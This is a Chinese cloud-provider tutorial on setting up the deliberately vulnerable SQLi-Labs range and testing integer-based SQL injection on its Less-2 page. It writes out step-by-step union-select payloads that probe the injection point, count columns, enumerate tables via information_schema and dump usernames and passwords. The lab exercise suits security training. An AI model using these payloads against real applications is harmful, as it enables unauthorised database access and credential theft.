You need to enable JavaScript to run this app.
导航

SQLi-Labs靶场搭建及基于整型的SQL注入测试

最近更新时间2022.07.06 12:48:18

首次发布时间2022.07.06 12:48:18

前言

SQL注入(SQL injection)是发生于应用程序与数据库层的安全漏洞。即在输入的字符串之中注入SQL指令,在设计不当的程序当中忽略了字符检查,那么这些注入进去的恶意指令就会被数据库服务器误认为是正常的SQL指令而执行,因此遭到破坏或是入侵。

数字型SQL注入为,当输入的参数是整型时,如:ID,年龄,页码等。例如URL为:http://www.xxx.com/test.php?id=5 可以猜测SQL语句为:select * from xx where id=5,从而用户输入含恶意代码的内容,然后提交到后台执行。

本实验将帮助您模拟基于整型的SQL注入以及如何进行防护。

关于实验

  • 预计部署时间:20分钟
  • 级别:初级
  • 相关产品:无
  • 受众: 通用

实验说明

  • 点击此链接登录控制台。

  • 如果您还没有账户,请点击此链接注册账户。

  • 用户需要新建ECS实例搭建靶场环境。

实验步骤

第一步-新建ECS实例

进入ECS控制台,点击实例-创建实例,创建一台Windows实例,具体参考此链接

第二步-搭建靶场

这里使用的是SQLi-Labs,SQLi-Labs 是一个学习注入的平台,其中涵盖了 GET 和 POST 场景下的相关漏洞,以便研究学习SQL注入的整个注入过程。

源码地址:
https://github.com/Audi-1/sqli-labs

SQLi-Labs需要环境为PHP、Mysql、Apache,为了方便,我们在Windows系统使用phpStudy搭建此环境。

注意:mysql 版本要选择5.5版本以上,因为5.5版本以上才包含information_schema数据库,进行测试。

1、安装SQLi-Labs

从上述地址下载SQLi-Labs源码,然后
将下载的源码解压到phpstudy安装目录下的www目录下,文件夹名可自定义(本测试中定义为sql),修改sql-connections/db-creds.inc中数据库配置。
默认的mysql数据库地址是“127.0.0.1 或 localhost",用户名和密码都是"root"。

配置文件如下:

<?php
//give your mysql connection username n password
$dbuser ='root';
$dbpass ='xxxxxx';# 修改passwd
$dbname ="security";
$host = 'localhost';
$dbname1 = "challenges";
?>

2、配置SQLi-Labs

打开浏览器访问“http://127.0.0.1/sql”,然后点击“Setup/reset Database” 创建SQLi-Labs所需要的数据库、数据表等,如下:

alt

完成后,点击Page-2可以看到各种注入,如下:

alt

第三步-进行整型sql注入测试

1、打开SQLi-Labs,选择Less-2,查看相关信息,如下:

alt

提示:
Please input the ID as parameter with numeric value

我们将id作为查询字符串进行查询,url为:http://127.0.0.1/sql/Less-2/?id=1

如下:
alt

为了便于查看,将sql进行了显示输出, 如下:

SELECT * FROM users WHERE id=1 LIMIT 0,1

2、判断id参数位置是否存在sql注入点。

构造如下url:(添加and 1=1)
http://127.0.0.1/sql/Less-2/?id=1 and 1=1

结果如下:
alt

可以发现能够正常显示。

再构造如下url:(添加and 1=2)

http://127.0.0.1/sql/Less-2/?id=1 and 1=2

结果如下:
alt

可以发现不能正常进行输出。

以上测试说明and 后面的表达式被执行,说明可以在id后面拼接参数执行,存在注入点。

3、猜解字段数目。

使用order by 进行猜解,如果order by+数字可以执行,说明此表中存在此列(数字表示第几列,如2表示按第二列进行排序,如正常表示表中存在第二列),直到临界值出现。

如下:

http://127.0.0.1/sql/Less-2/?id=1 order by 3

alt

http://127.0.0.1/sql/Less-2/?id=1 order by 4

alt

从上面可以看出order by 3显示正常,order by 4显示异常,我们可以猜测此表有三列。

4、猜解数据库名称、版本等。

主要使用union select进行拼接然后回显查询的内容。

先猜解回显字段。

构造url如下:

http://127.0.0.1/sql/Less-2/?id=-1 union select 1,2,3

结果如下:

alt

可以看到能够回显的字段为2、3。

猜解数据库名称跟版本信息:

构造url如下:
http://127.0.0.1/sql/Less-2/?id=-1 union select 1,database(),version()

结果如下:
alt

可以看到数据库名称为security,版本为5.7.26。

5、猜解数据库中表名称。

构造url如下:

http://127.0.0.1/sql/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'

结果如下:

alt

可以看到猜解出的表名如下:emails,referers,uagents,users。

6、猜解users表中内容。

由于要猜解的是users表,猜测字段应由username跟password字段,(如没有可再从information_schema.columns中采集列)。

构造url如下:

http://127.0.0.1/sql/Less-2/?id=-1 union select 1,group_concat(username),group_concat(password) from users

结果如下:
alt

可以看到猜解出了username跟password。

如果您有其他问题,欢迎您联系火山引擎技术支持服务